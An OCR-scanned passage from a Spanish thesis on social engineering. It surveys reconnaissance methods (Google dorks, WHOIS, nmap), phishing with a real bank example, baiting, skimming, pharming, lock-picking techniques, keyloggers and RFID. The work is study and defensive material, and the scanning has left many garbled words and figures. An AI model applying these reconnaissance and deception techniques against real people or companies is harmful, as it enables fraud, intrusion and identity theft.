empresa), el objetivo de este estudio es recopilar los más

comunes. Es de vital importancra, saber categor¡zar

correctamente dichos datos recopilados puesto que el volumen

podría ser abismal. Algunos medios para recopilar información.

1.4.2.1. Páginas webs

Lo más básico es comenzar a recopilar información de la

página web de la empresa, todo lo relacionado con ella

(Esto incluye los diferentes trabajadores y empresas

asociadas). Por Ejemplo

¿A qué se dedica la empresa?
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¿Qué productos y servicios venden?

Localización física

Puestos de traba,io disponibles

Números de teléfono

Direcciones de coneos (Direcciones concretas,

formato de composición de la misma, etc.)

Biograf ías de ejecutivos, directores, trabajadores,

etc.

¿Existe algún tipo de soporte por parte de la

empresa? ¿Foro? ¿Teléfono? Etc.

Cualquier otra información que se os ocurra,

nunca se sabe que podemos necesitar sab€r.

Es bastante común obtener información de diferentes

trabajadores de la empresa y además de ser información

muy útil, se sabe sobre la vida social de cada uno de ellos,

por ejemplo.

Si encontramos el usuario Juan Pérez y su correo personal,

es muy posible que este disponga de cuenta de Facebook,

tw¡tter o escr¡ba en diferentes fórums. Si rastreamos todos

estos datos es posible obtener datos como cuántos hijos

tiene, casas, trabajos, lugar donde frecuente, hobbies, etc.

Algo habitual es que en el trabajo, las personas comentan

sobre las aventuras del fin de semana o hablan de sus



hobbies, por lo tanto toda esta información puede ser útil a

la hora de ¡ealizar una aproximación f ísica.

'1.4.1.2. Buscadores:

Existen diferentes libros sobre Google Hack¡ng como

podría ser "Hacking con Buscadores: Google, Bing &

Shodan" de Enrique Rando (lnformática 64), que podrÍa

ayudar a recopilar información sobre una empresa

determinada.

Por ejemplo, en google existen unas palabras claves

llamadas "Google Dorks", que son texto que se ingresa en

los buscadores de google, dan cierta funcionalidad.

inurl: Se usa para buscar en una URL algún nombre

de página concreto. por eJemplo.

" i n u rl. view/i ndex. sht m f' .

intitle: Búsqueda de títulos de páginas, es decir,

texlo entre los lags <title></t¡tle>

filetype: Realiza una búsqueda de arch¡vos de un

tipo determinado. por ejemplo: "filetype.pdf
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s¡te: Se usa para realizat las búsquedas en un site

determinado, por ejemplo. " site m icrosoft . co m"

Related: Reafiza una búsqueda sobre páginas

similares o relacionadas a la especificada en el dork,

por ejemplo "related exploit-db com".

cache: Busca en caché la página especificada, por

ejemplo: " cache : secu rityfocu s. co m"

Se pueden utilizar varias combinac¡ón para una

búsqueda mas especifica.

Ejemplo:'site: Microsoft .com filetype: pdF'

Se obtendría todos los archivos de tipo "pdf' que

pudieran estar alojados en el servidor web.

Además de los dorks de google, existen también los

buscadores, bing y shodan. IREF23]

1.4.2.3. ¿Quién es? (WHOIS)

Mediante el uso del comando "Whois" también es posible

obtener información adicional sobre los dominios

registrados como podría ser:

. Dirección física de la empresa

. Nombre del registrador de dominio

C,
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Teléfono

Correo electrón¡co

lPs de los servidores DNS

1.4.2.4. Otros servidores:

Mediante la búsqueda de informacrón y realizando

diferentes consultas a servidores DNS, es posible obtener

la dirección lP de otros servidores usados por la empresa

los cuales no están "visibles" al público. En muchas

ocasiones dichos servidores contienen información

realmente interesante y útil, además de no estar tan

proteg¡dos como los "públicos"

Es importante realizar un breve escaneo a dichos

servidores usando alguna henamienta como podria ser

NMAP de la empresa lnsecure,3 con esta henam¡enta

además de poder localizar los diferentes servicios que tiene

corriendo el servidor, es posible detectar con un alto grado

de acierto el sistema operat¡vo usado, software usado, etc

' ISECURE. Organización que creó la henamienla NMAP, dest¡nada a la seguridad en red

lnsecure.org



1.5. Tipos de Ataques de ingenieria social

1.5.'1. Ataques basados en el uso de tecnología

La recopilac¡ón de información es uno de los aspectos más

importantes de la ingeniería social.

Para hacer un trabajo eficaz en la metodología de lngenierÍa

social se combinan las herramientas tecnológ¡cas, así como

herramientas físicas. Se puede enconlrar algunas henamientas

que los equipos de especialistas de ingeniería social. Estas

herramientas están orientadas a la recopilación de información,

recop¡lación de datos e incluso hasta en el uso de marcos de

traba.¡o para explotación de vulnerabil¡dades, con el de poner a

prueba la infraestructura humana de la empresa.

1.5.1.'1. Tecnología basada en la ingeniería social

1.5.1.1.1. Ventanas emergentes de Windows (Pop-up):

Una ventana en la pantalla que informa al usuano de

que la conexión con el host se ha intenumpido y que

la conexión de red t¡ene que ser re-autenticación.

esta información se enviará por correo al intruso con

la información de acceso.

Son los llamados fraudes electrónicos y han existido

por años, pero en los últimos meses se hacen más

numerosos y sofisticados.
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1.5.'1.1 .2. Anexos de correo:

Programas y archivos e.iecutables pueden eslar

escondidos en archivos adjuntos de correo

electrónico. El primer paso para explolar esta

vulnerabilidad cons¡ste en escribir un programa que

podría ser el "agente interior" a la que el ingeniero

social podrÍa enviar los mensajes encub¡ertos. Este

programa puede ser escrilo para hacer cualquier

cosa, desde el envío de copias de los documentos

en el ordenador del usuario para espiar a otros

equipos de la red.

Podría ser colocado en la máquina, ya sea con

ayuda humana, por ejemplo, un colaborador dentro

de la empresa, o coloéndolo en un sitio web para

su descarga, escondido dentro del software de

aspecto inocente. un caballo de Troya. [REF24].

1.5.1.1.3. Sitios Web:

La tendencia más reciente en el spam y el robo de

identidad se llamado spoofing o "Phishing", es el

proceso de enviar un e-marl a un usuario simulando

pertenecer a una empresa legítima, en un intento de

estafar a los usuarros para que revelen información

privada. Gobierno, las instituciones financieras y
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subastas en lÍnea / servicios de pago son objet¡vos

comunes de suplantación de ¡dentidad de marca. El

atacante envÍa un correo electrónico HTML dentro

de un formulario de entrada de correo electrónico o

un mensaje de correo electrónico proporciona un

enlace a una réplica engañosa de una página web

existente lREF24l

1.5.2. Ataques basados en habilidades humanes.

1.5.2.1. Suplantación.

De las formas humanas basadas en la ingeniería social, los

dos primeros se clasifican como persona importante para el

usuario y la suplantación. Estos dos se utilizan a menudo

en combinación con otros. En el libro Cyberpunk por Hafner

y Markoff, describen las medidas adoptadas por la hacker

Susan Hadley (alias Susan Thunder), uso un directorio

militar de una computadora fácilmente accesible y pudo

obtener el nombre de la persona a cargo. Ella utilizó su

conocimiento básico de los sistemas militares y la

terminología, realizo una llamaba a una base militar para

averiguar el oficial al mando de la instalación de

información secreta. Su dulce voz fue el camino para la

obtención del nombre del secretario del comandante y

luego colgó.
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Con esta información, cambió su táctica, utilizando frases

como. Su "jefe", el mayor, estaba teniendo problemas para

acceder al s¡stema y querÍa saber, ¿por qué? Con

amenazas, consiguió el acceso al sistema y estuvo en el

sistema por alrededor de 20 minutos.

1.5.2.2. Terceros Autorización.

Un situación común es la autorización de terceros es

cuando el ingeniero social dice el nombre de un superior

que tiene la autondad para otorgar acceso. Por lo general

es algo así como "La autorización ya fue aprobada por el Sr

Pérez" o "Antes de que ella se fue de vacaciones, La

Señora Prez me dijo que deberia llamar para obtener esta

información." El ingeniero social puede muy bien haber

llamado a la oficina de pagos para establecer si ellos no

estarían disponibles para conoborar la solicitud. Recuerde.

la mayoria de los ingenieros soc¡ales son internos a la

organ¡zación y puede encontrar esto muy fácil.

1.5.2.3. En persona.

El ingeniero social puede entrar en el edificio y pretende

ser un personal empleado, visitante o servicio. Pueden
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estar vest¡do con un uniforme o formar pañe del equ¡po de

limpieza del contrato.

"Hace unos años en la ciudad de Nueva York, un

equipo de limpieza llegó justo antes del almuerzo y

comenzó a ir a las of¡c¡nas y vaciar los recipientes de

basura limpiar el polvo. La mayoría de los

empleados se ofreció a salir del de sus oficinas y

dejaron a cargo al equipo de limpieza por unos

minutos. Por la tarde los empleados se percataron

de que el carro de la basura todavía estaba en el

pasillo de las of¡c¡nas El "equipo de limpieza" había

limpiado las oficinas de carteras, bolsos y maletines.

Otra forma más fácil de acceder a una oficina, es

llegar con una pizza en día de promociones, y lo

más probable que alguien haya pedido y solito le

den acceso [REF24] '

1.5.3. Búsqueda en el basurero (Dumpster Diving)

Wikipediaa define a Dumpster Diving como buceo o búsqueda en

el basurero: "Es la práctica de buscar entre la basura residencial o

comercial para encontrar los artículos que han sido desechados

" WtKtpEDle.- Enciclopedia de contenido Iibre



60

por sus dueños, pero que puede ser útil para el buceador

contenedor de basura"

La naturaleza de los artículos y / o información encontrada puede

ser cualqu¡er cosa, desde los registros médicos, hojas de vida,

fotos personales y correos electrónicos, extractos de cuenta.

detalles de la cuenta y la información sobre el software, los

registros de soporle técnico y mucho más. Por supuesto, toda

esta información se puede utilizar para aprovechar un ataque

contra una victima. IREF10]

1.5.3.1 Legalidad

Una cosa a tener en cuenta, es que las cosas que se

desechan en la basura no se cons¡deran ilegales tomarlas.

Sin embargo, puede generar un problema, si el contenedor

de basura se encuentra en la propiedad privada y no en la

esquina de la calle, entonces puede ser considerada

traspaso de la propiedad

1.5.4.2 ¿Por qué funciona el buceo en el basurero?

La razón principal de la búsqueda en el basurero es para la

adqu¡sición de informacaón. Al igual que con la mayoría de

las formas de ingeniería soc¡a¡, 'trabajar más

c

l
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intel¡gentemente. no más dificil"s es un buen lema. Horas

haciendo trabajo de fuerza bruta a una contraseña versus

un número de cuenta que se descartó en un post en nota

pegalosa s¡n tr¡turar parece tonto [REF52]

1.5.5. Phishing

Ph¡shing es un término informát¡co que denomina un tipo de delito

encuadrado dentro del ámbito de las estafas cibernéticas, y que

se comete mediante el uso de un tipo de ingenieria social

caracterizado por intentar adquirir información confldencial de

forma fraudulenta (como puede ser una contraseña o información

detallada sobre tarjetas de cráiito u otra información bancaria)

El estafador o atacante, conocido como phisher, se hace pasar

por una persona o empresa de confianza en una aparente

comunicación of¡cial electrónrca, por lo común un correo

electrónico, o algún s¡stema de mensajería instantánea o incluso

utilizando también llamadas telefónicas. IREF25]

Un "ph¡shing" común es el ataque por medio de correo electrónico

en el que el objetivo es robar la identidad de la víctima

t' Del Libro No Tech Hack¡ng 2008
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Este fraude se lleva a cabo mediante el envío de e-mails legítimos

a personas inocentes. Los coneos electrónicos están diseñados

para que el destinatario crea que son de un instituto que deben

confiar, como las instituciones bancarias o cualquier otra empresa

que puede requerir que nos proporc¡one información personal

para la autenticación. Dentro de esta información se encuentran

links o URL ocultos que abren paginas aparentemente originales,

pero que en realidad son copias de empresa o entidad legitima.

Normalmente estas pág¡nas solicitan actualización de datos por

seguridad, y el cliente sln mucho conocimaento informát¡co ingresa

su información. Para realizar esta técnica se debe tener dar la

sensación de que el correo es real y tener una página web que

sea una copia de la real [REF32]

Un ejemplo fuel o sucedido con la entidad financiera el banco

Pichincha en el que llegaban mails, a varias personas con el

sigu¡ente texto.
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Banca Electrón¡ca - Coñfirme ser el titular de sus datos personales
Ractdos ¡
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se¡r,rcrosqch n:l'aoll\e c¡rn )E¡ rr*:o cmeo Yi*do &l mensqe rüado por
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Figura l-2. Fish¡ng: Mail falso de una ent¡dsd bancaria6

o La imagen obtenida es sacada de un buzón de correo eleclrónico legitimo

I
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Si uno da clic en el link de la figura 1-2, este re-direccionaba a la

siguiente URL

http.//www. beezone neUoallerv/admin/templates/pichincha. pho

r¡¡*¡ffi
+

I
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!i:.t¡

¡T,TOO ñ(Ff,ITA
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Bienvenido a la Banca Electrónica
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Figura 1-3. Fish¡ng: pag¡na web felsa de la ent¡dad bancaria

Como se aprecia en la Figura 1-3, es una copia de la página web

de la institución bancaria. Este t¡po de ataque es muy efectivo

cuando el usuario logra dar clic en el link.

E!.1
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1.5.5.1 URL y Manipulación Email

Una de las razones por qué esquemas de phishing

funciona tan bien es que la gente tiende a confiar en los

mensajes que parecen provenrr de una entidad importante

o parecer ¡mportante. El atacante puede manipular

fácilmente un URL, engañando a la víctima y provocar que

haga clic en la pág¡na falsa. Por e.iemplo, una URL como (

http://www.company.com ) se ve casi idéntico a (

http:,//www.cornpany.com )si la fuente está bien y el

leclor escanea a través de ella [REF32].

Con la compra de un dom¡nio que se asemeja mucho a la

URL legítima, el atacante configura una cuenla de coneo

electrónico y falsifica la página web, que requiere muy poco

tiempo y esfuerzo, para que las personas hagan cl¡c en el

enlace y luego ser vulnerados.

1.5.5.2 Spear Phishing

Debido al éxito de los ataques de phishing, los phishers

maliciosos han desarrollado spear phishing. En lugar de

enviar miles de correos electrónicos al azar con la

esperanza de algunas víctimas ca¡gan en el engaño, lanza

phishers objetivo seleccionar grupos de personas con algo
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en común y el perfil más alto por lo general. Los e-mails se

envian por lo general de organizaciones o individuos a las

víctimas potenciales normalmente reciben e-mails,

haciéndolos aún más engañoso [REF32]

1.5.5.3. Pruebas de intrusión e ingenieros sociales

El phishing es un tipo de ataque muy utilizado para pruebas

de penetración Util¡zando todos los métodos mencionados

anter¡ormente, pero srn mala intención, los probadores de

penetración se emplean estos métodos para mostrar una

empresa lo devastador que estos ataques pueden ser.

Muchas empresas gastan miles de dólares en sistemas

lDS, firewalls y otros dispositivos de protección para

controlar la red, pero un ataque de phishing experto puede

conducir a la destrucción total de una empresa sin tener

que hackear una un sistema d¡rectamente.

1.5.6. lnfección de medios (Drive-by lnfection)

Drive-by lnfection es un término que hace referencia a la

infección de una del equipo computacional, por medio de una

descarga de un archivo al equipo.

La descarga puede ser involuntaria de un aplicativo desde

lnternet, por personas autorizadas, pero s¡n entender las

consecuencias de la m¡sma (por ejemplo, las descargas de un
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programa ejecutable desconocido o falso, que hace relación a un

componente requerido como. ActiveX o applets Java).

También la infección se suele dar por la descarga que sucede sin

el conocim¡ento de una persona, que a menudo suele ser un vrrus,

spyware, malware, o software de actividades ilegales. [REF26].

Las descargas pueden ocurrir cuando se visita un sitio web,

visualización de un mensaje de correo electrónico o haciendo clic

en una ventana engañosa emergente: por ejemplo, salta una

ventana ¡nformativa de de enor de un sistema operativo, o que un

anuncio emergenle que dice que está siendo despedido. En tales

casos, el "proveedor" puede afirmar que la persona "es

consc¡ente" de la descarga aunque en realidad, es consciente de

haber iniciado una descarga de software no deseado o malicioso.

IREF2Tl

Los hackers utilizan diferentes técnicas para ofuscar u ocultar el

cód¡go mal¡cioso, de tal manera que los antivirus no sean

capaces de reconocerlo.

El código se ejecuta en modo oculto, y puede pasar desapercibida

incluso para usuar¡os experimentados. [REF28] Ejemplo de

arch¡vos comunes descargables:

. Antivirus Falsos
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Limpiador de malware falsos

Limpiadores de registros

1.5.7. Email ( Mail Spoofing)

Se refiere a la suplantación de direcciones de correo electrónico

de otras personas o entidades.

Esta técnica es usada con astucia, para el envío de mensajes de

correo electrónico falsos, como suplemenlo perfeclo para el uso

de suplantación de identidad y para envío de SPAM, es tan

sencilla como el uso de un servidor SMTP configurado para este

fin IREF29]

Para protegerse se debería comprobar Ia lP del remitenle (para

averiguar s¡ realmente esa ip pertenece a la ent¡dad que and¡ca en

el mensaje) y la dirección del servidor SMTP utilizado.

El coneo electrónrco también se puede utilizar para medios más

directos de obtener ac,ceso a un sistema. Por ejemplo, los

archivos adjuntos de un correo legítimo pueden contener un

archivo infectado de virus, gusanos y caballos de Troya. [REF30]
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1.5.8. Suplantación de ldentidad

Suplantación generalmenle significa la creación de algún tipo de

carácter y jugando el papel. Algunas funciones comunes que

pueden ser reproducrdos en ataques de suplantación incluyen: un

técnico, soporte de Tl, un administrador, un tercero de confianza o

un compañero de trabajo. En una empresa grande, esto no es tan

difícil de hacer. No hay manera de saber todo el mundo - lD

puede ser falsificada. [REF30]

1.5.9. Espiar en la oficina

Una de las características de la ingeniería social es espiar en la

oficina, viendo documentos que tengan relevancla y sean

sensibles, normalmenle en los escritorios de los asistentes o

secretar¡as. Se puede encontrar información muy útil para poder

conocer a la víctima.

'1.5.10. Espiar sobre el hombro

Otra técnica que se usa es una vez que el atacante está en

contacto con la victima este podrÍa generar ocasiones o

situac¡ones en la cual la victima tenga que ingresar su usuario y

clave en un computador, y en ese instante el atacante observa de

forma discreta lo que la victima ingresa, normalmente se

menc¡ona que esto se lo hace espiando sobre el hombro de la

vÍctima. [REF30]
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1.5.11 Baiting

Es el abuso de la curios¡dad humana para lograr que un medro

infectado sea utilizado dentro de la organización y de esa manera

instalar software ilegal que permita luego acceder a la información

confidencial.

Baiting es como el caballo de Troya del mundo real que utrliza

medios físicos y se basa en la curiosidad o la codicia de la

víctima.

En este ataque, el atacante de¡a un malware infectado disquete,

CD-ROM o una unidad flash USB en un lugar seguro que se

encuentra (cuarto de baño, ascensor, acera, estac¡onamiento), da

una etiqueta de apariencia legítima y curiosidad despiertan, y

simplemente espera a la víctima a ulilizar el dispositivo [REF30]

Por ejemplo, un atacante podría crear un disco con un logotipo de

empresa, de fácil acceso desde el sitio web de la blanco, y escr¡bir

"Resumen Eiecutivo Salario Q2 20'13" en el frente El atacante

podrÍa dejar el disco en el piso de un ascensor o en algún lugar en

el vestíbulo de la empresa en cuestión. Un empleado sin saberlo

podrÍan encontrarlo y luego inserte el disco en una computadora

para satisfacer su curiosidad, o un buen samar¡tano podría

encontrarlo y entregarlo a la empresa.
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'l .5.12 lngeniería Social reversa

Un último método, más avanzado de obtener informacion

ilicita que se conoce como "Revertir la ingeniería social".

Esto es cuando el atacante crea un personaje que parece

estar en una posición de autoridad para que los empleados

le preguntaren á él a título informativo, y no al revés. Si

investrgado, planeado y bien ejecutado, reverse ataques de

ingenrerÍa social puede ofrecer el atacante una mejor

oportunidad de obtener valiosos datos de empleados.

lREF30l

Sin embargo, esto requiere una gran cantidad de

preparación, la investigación, y pre-hacking para llevarlo a

cabo.

1.5.12.1Skimming

Se denomina Skimming al robo de información de tarjetas

de crédito utilizado en el momento de la transacción. con la

finalidad de reproducir o clonar la tarjeta de crédito o débito

para su poster¡or uso fraudulento. Consiste en el copiado

de la banda magnética de una tarjeta (crédito, débito, etc.).

Los escenarios comunes en los que se realiza skimming

son en restaurantes. bares, gasolineras o en cajeros

está enelectrónicos donde un complice del criminal
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poses¡ón de la tarjeta de crédito de la víctima o en un lugar

en el que se ha instalado un dispositivo que puede copiar la

información

En el caso de un cajero automático, el autor del fraude

pone un dispositivo a través de la ranura para tarjetas, que

lee la ¡nformac¡ón de la banda magnética y la copia para su

uso posterior. Estos dispositivos se utilizan a menudo en

combinación con una microcámara que graba el código PIN

(Código de seguridad) del usuario Es difícil que el titular de

la tarjeta detecte el skimming, pero es bastante fácil de

detectar para el emisor de la tar.jeta con una muestra lo

suficientemente grande. tREF35l.

1.5.12.2 Pharming

Pharm¡ng es la explotación de una vulnerabilidad en

el software de los serv¡dores DNS (Domain Name

System) o en el de los equipos de los propios

usuarios, que perm¡te a un atacante redirigir un

nombre de dominio (domain name) a otra máqurna

distinta. De esta forma, un usuario que introduzca un

determinado nombre de dominio que haya sido

redirigido, accederá en su explorador de intemet a la
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página web que el atacante haya espec¡ficado para

ese nombre de dominio IREF36]

Los ataques med¡ante pharming pueden realizarse

de dos formasr directamente a los servidores DNS,

con lo que todos los usuarios se verían afectados, o

bien alacando a ordenadores concretos, mediante la

modificación del fichero "hosts" presente en

cualquier equipo que funcione bajo Microsofl

Windows o sistemas Unix. [REF32].

1.5.'12.3 Tombstone Robo

Tombstone Robo de identidad. consiste en robar la

identidad de alguien que ha fallecido. Se puede

asumir esa identidad de la persona, realizar varios

fraudes por un t¡empo.

Este engaño es viable deb¡do a que muchas

personas a la muerte de un familiar o conoc¡do

suelen a menudo olvidar notificar a los bancos y

otras compañías de tarjetas de crédito

inmediatamente después de su muerte.

En cuanto a las entidades financieras piensan que el

individuo está vivo y el uso de sus tarjetas o cuentas

es de forma normal. Una manera de obtener esta
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información es a través de avisos funeraria u

obituar¡os. Las funerarias pueden ser descuidadas

en su mane.lo de la información personal de sus

clientes IREF30]

1.6. Diferentes vulnerabilidades presentes en la comunicación.

Las empresas normalmente no llegan a determinar la importancia de las

compunciones ¡ntemas de la empresa, y del potencial que se podría

lograr para poder ayudar.

1.6.1. El esfuer¿o por proteger desde el exterior

En la actualidad las empresas están tomando un grado de

confianza en realizar inversiones para la seguridad de sus puntos

periféricos por el miedo de ser sujetos algún tipo de ataque.

Gran parte del esfuerzo de proteger los ataques del exterior. es

porque se asume que el personal interno está bien capacitado o

no tiene ningún motivo para atacar a la empresa donde trabaja.

Pero se presenta una vulnerabilidad cuando los ataques son

internos, ya sea por descuido o desconocimiento de las políticas

de seguridad informática.

EI interior de la empresas es un escenario real, y que no pocas

veces está presente, y que las empresas no quieren

c.,: .
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conocer cuando sucede ya que reflejara una brecha de seguridad

para el manejo de información.

Por eso cualquier esfuerzo por proteger desde el exterior no es

suficiente si se descu¡da el ¡nterior. [REF33]

1.6.2. lnversión lnadecuada

Otra vulnerabilidad presente son las inversiones inadecuadas en

las empresas, el no tener personal especializado para adquirir

equipos suf¡cientemente robustos y que vayan relacionados con la

información que se está custodiando.

El no tener un presupuesto adecuado para capacitac¡ón de su

personal a cargo o tener una empresa asesora con el

conocimiento actualizados, esto con lleva a no tener capacidad de

reacción ftente a los ataques.

Las empresas no les gusta invertir en la seguridad de información,

y cuando se tiene un presupuesto suelen no realizar la inversión

adecuada que tenga una coherencia con el tipo de información

sens¡ble o confidencial.

No realizar talleres para capacrtar a su personal de lo vulnerable

que pueden ser un sistema, si no mane.jamos adecuadamente la

información, y que las polÍt¡cas de seguridad son muy ¡mportantes

para la empresa.
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1.6.3. lndiferencia de las organizac¡ones o falta de conocimiento

Otro escenar¡o común de las empresas es la total falta de interior

para los temas de seguridad informático, la mesa directiva de

las empresas, no ve real que pueda surgir un ataque por algún

método de ingenieria social.

Las empresas también pueden desconocer que pueden ser

vulnerables por un ataque de ingeniería social, ya que

desconocen de este t¡po de ataque.

Ambos escenarios son los más ventajoso de atacar, explotando

con mayor facilidad la obtención rnformación. en muchos casos

las empresas son víctimas de ataques y nunca se enteran o son

consienles de que han sido vulnerados.
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2. Vulnerabilidades de Ingeniería Social

En este capítulo se realiza una búsqueda para listar las técnicas y

herramientas más usadas para encontrar vulnerabilidades y obtener

información sensible dentro de la empresa.

El objetivo es poder tener un amplio conocim¡ento de todas las

herramientas actualmenle en el mercado y de cómo algunas artículos

cot¡d¡anos pueden tener vulnerabilidades dentro de la empresa.

Este capÍtulo servirá como base para poder seleccionar la henamienta

más adecuada para armar escenarios de ataques.

2.1. Vulnerabilidades Fís¡cas.

Una de las vulnerab¡lidades básicas a tener en cuenta son las físicas,

desde el ingreso a áreas no autor¡zadas, o zonas descuidadas.

En algunas ocasiones se puede obtener información dejando

dispositivos en áreas que parecen comunes dentro de una oficina.

CAPíTULO 2
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2.1.1. Lock Picking

Una de las técnicas favoritas de los Hackers es el Lock Picking,

hay empresas que se dedican al desanollo y competencia

basados en esta técnica.

Lock picking es la habilidad de "abrii' una cerradura (lock)

med¡ante el análisis y manipulando los componentes de la

cerradura sin utilizar la llave original.

A pesar de que "lock picking" puede ser asociado a intentos

criminales, es una habilidad esencial para los cenajeros. Lock

picking es la manera ideal de abrir una cerradura sin la llave

correcta, sin dañar la cerradura.

Esto nos permite "reconfigurad la cenadura para un uso

posterior, lo cual es importante especialmente en cerraduras

antiguas que serÍan imposibles de reemplazar si se utilizaran

métodos deslructivos. IREF37].

Esta técnica es ampliamente usas principalmente en cerraduras

de tambor con pines. La cenadura de tipo tambor es un sistema

de mecanismo que usa pines de varias longitudes para ev¡tar que

la cerradura sea ab¡erta con otra llave.
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Figura 2-1. V¡sla exterior común cenadura tembores con p¡nes

Figura 2-2. Msta elerior/¡nterior cerradura tambor con p¡nes [REF37l

En el interior de la cenadura en@ntramos un mecanismo de pines
y resortes,
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Figura 2-3. Visla interior lateral cerradura de tambor con pines IREF37l

Para poder girar el cilindro que abre la llave hay que tener la llave

exacta.

Figura 2-4. V¡sta interior lateral de cerradura de tambor con pines [REF37]

Para realizat el lock picking, es necesario utilizar unas

herramientas espec¡al¡zadas, que se conoce como ganzúas y

tensionadores.
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Las ganzúas se las introduce en la cerradura para tratar de alinear

los pines o pernos

Figura 2-5. Set de Ganzúas

IREF37]

Figura 2-6. Uso de Ganzúas [REF37I

En la figura 25 se puede apreciar como la ganzúa se introduce en

la cenadura, y se va colocando de bajo de cada pin o pemo, para

levantarlo hasta que se sienta que se queda un poco trabado,

tlililtl
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El tensionador lo aplicamos para que una vez alineado el perno es

no sé de vuelva a su estado original. [REF37]
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mientras el tens¡onador hace presión para un lado. Para utilizar

estas herramientas existen dos métodos remarcados. el de

rastillar y levantar

El rastillar es la técnica de rastrillar de adentro hacia afuera,

simulando un rastrillo de forma que los pines se vayan levantando

suavemente

<->

Figu¡a 2-7 . Uso de Ganzúas - Método rastrillar [REF34

Otro método es levantar, que consiste en levantar poco a poco la

ganzúa, tratando de sentir el pin como sube y se queda trabado.

/\/\
/\/\

Figura 2-8. Uso de Ganzúas - Método Levantar [REF37]
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2.1.2. Cuarto de Servidores inseguros.

Una vulnerabilidad que encontramos en nuestros tiempos es el

acceso a los cuartos de servidores, comenzando por la cerradura

que se utiliza, que puede ser fácil vulnerable con técnicas de lock

picking

A veces no es necesario tener la llave, solo haciéndose pasar por

personal de limpieza se podría tener acceso al cuarto de los

servidores. Mediante suplantación de identidad

Otra forma de tener seguridad, es tener tarjetas inteligentes que le

da acceso al portador, pero se menciona la seguridad depende

del tipo de trato que se dé la tarjeta inteligente, podría tener el

mejor s¡stema, pero si la tarjeta es extrav¡ada o sustraida de

forma ¡ntencional, debería haber un protocolo de desactivación de

la anterior. Este tema se va ahondar más adelante.

2.1.3. Estaciones de trabajo desbloqueadas.

Para un ingeniero social, la sobre confianza o descuido de las

personas es una gran ventaja a la hora de obtener información, y

cabe preguntarnos cuántos de nosotros deiamos bloqueado

nuestras maquinas cuando nos vamos a almorzar, o entra el

personal de limpieza?
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No siempre es una urgencia para las personas, ya que no lo ven

como una amenaza, y si las estaciones de trabajo, en las cuales

tenemos información muy importante no se la bloquea, cualquiera

que pase por el lugar podría tener acceso, sin mayor dificr.¡ltad.

Los ingenieros sociales saben de esta vulnerabilidad, y por eso

sus visitas ya sea extema o interna, se las realiza en horarios de

almuerzo o al final de la tarde, en la que las personas están más

descuidas.

2.2: Métodos de grabación.

Un método que se ha quer¡do abordar en este ensayo es los métodos de

grabación, que a veces no somos cons¡entes que se puedan presentar

en un amb¡ente laboral, a veces pensamos o tememos de que el método

más usado son los virus y archivos contaminados.

Ya sea como estrategia o conocimiento general, los métodos de

grabación, perm¡ten obtener información valiosa para el ingeniero social.

2.2.1. Grabación de video

Para el ingeniero social un método para obtener información es

poder grabar un video, pero el éxito está enfocado en grabarlo de

forma dascreta, aunque para poder tener una grabaclón de video
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discreta por lo general se tiene que sacrificar la calidad del mismo,

en el mercado podemos encontrar algunas herramientas

interesantes y útiles para grabar video. [REF38]

Una alternat¡va puede ser dispositivos USB que perm¡te graba

video y hasta audio dependiendo del fabricante.

a
Figura 2-9. Usb para grabar video y audio [REF38]

2.2.2. Grabación de voz

Una técnica tradicional es el método de grabación de voz, y al

igual que la grabación de video se debe tener dispositivos cerca

de la v¡ctima para poder grabar conversaciones, así es posible

dejar algún d¡spos¡tivo en su oficina o cerca de su escritorio que

me permita para este efecto.
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Un dispositivo muy útil que se puede encontrar en el medio es el

de una pluma que permila grabar.

Figura 2-10. Pluma - Usb para grabar aud¡o [REF38I

2.2.3. Grabación dentro de las Computadoras ( Keyloggger).

Si el ingeniero social puede tener ac¡eso físico a las

instalaciones, lo más convenrente sería utilizar técnicas para

poder grabar dentro del computador.

Una técnica muy relacionada con los ingenieros sociales para

obtener información es el los Keylloger IREF38]

,

.

I
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2.2.3.1. Un keylogger tipo hardware.

Los keylogger. físicos, han perdido su popularidad debido

al crecimiento de portátiles en las oficinas

Los keylogger físicos se podría dividir en dos variedades

básicas.

1. Equipos que se conectan al final del teclado, son

fáciles de instalar, pero pueden ser detectados

fácilmente.

2. Keylogger que trenen forma de teclados reales, la

desventaia es que el usuario notar el cambio

Figura 2-11. USB Keylogger Fís¡co. IREF3EI

2.2.3.2. Keylogger por software

Estos son programas que se instalan en la computadora de

la víctima. y que el objetivo, de capturar y grabar las teclas

que se presionan.

1

7
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El programa instalado debe tener privilegios para poder

acceder a las pulsaciones del teclado.

Hay que tener en cuenta que este tipo de programas son

más discretos a la vista, pero suelen ser detectados como

un virus por los antiv¡rus [REF38].

2,3: Vulnerabilidades de la rad¡o frecuenc¡a

En el mercado latinoamericano, se están manejado conceptos como

M2M (Machine to Machine), que busca tener coneclividad de todos los

dispositivos en una sola plataforma, esto se ha reflejando rndirectamente

en una demanda del uso de tecnologia de radiofrecuencia.

Considerando las tendencias, se propone realizar un pequeño análisis

de cómo esta tecnologia es usada para accesos de seguridad en las

empresas IREF39]

2.3.1. ¿Qué es radio frecuencia?

Los dispos¡tivos de radio frecuencia son muy utilizados para

sistemas de seguridad dentro de las empresas, para dar acceso a

áreas restringidas, ya que su implementación y su bajo costo los

hacen muy populares en las empresas. Esta es una de las

razones por la que los ingenieros Sociales buscan encontrar

vulnerabilidades en estos sistemas. IREF39]

C¡.--....t

\
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2.3.1.1. RFtD

RFID "Rad¡o Frequency lDentification", en

español, ldentificación por Radiof recuencia. Esta

tecnología se ut¡liza para identificar un elemento, segurr su

ruta de movimiento y calcular distancias gracias a una

etiqueta especial que emite ondas de rad¡o, la cual se

ad.iunta o se encuentra incorporada al objeto.

2.3.1.2. Etiqueta de radiofrecuencia

La etiqueta de radiofrecuencia (traspondedor, etiqueta

RFID) está formada por un chip conectado a una antena,

ambos contenidos en un rótulo (etiqueta RFID o ¡ótulo

RF/D) Un dispositivo lo lee y luego, captura y trasmite la

información.

ANTE¡¿A RFID

CI-f,P RFID

Figura 2-12. Etiqueta RFID [REF39I
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2.3.1.3. Funcionamiento básico del RFID.

El funcionamiento del RFID, se base en tres elementos

claramente distrnguibles. El TAG o etiqueta RFID. el lector

para el TAG, y la plataforma o base de datos para

almacenar la información.

Los TAGs poseen un chip que almacenan un identiflcador.

El lector de RFID es el que envía series de ondas de

radiofrecuencia dirigidas al tag, el tag posee una antena al

cual le llega la señal. Esta señal activa el chip, y esto

permite poder enviar el código [REF39]

Cuando el lector recibe el código del TAG, este lo envía a

una base de datos. donde esta almacenada con anlelación

la información.

I¡
;

o
Og

oo<-Oú

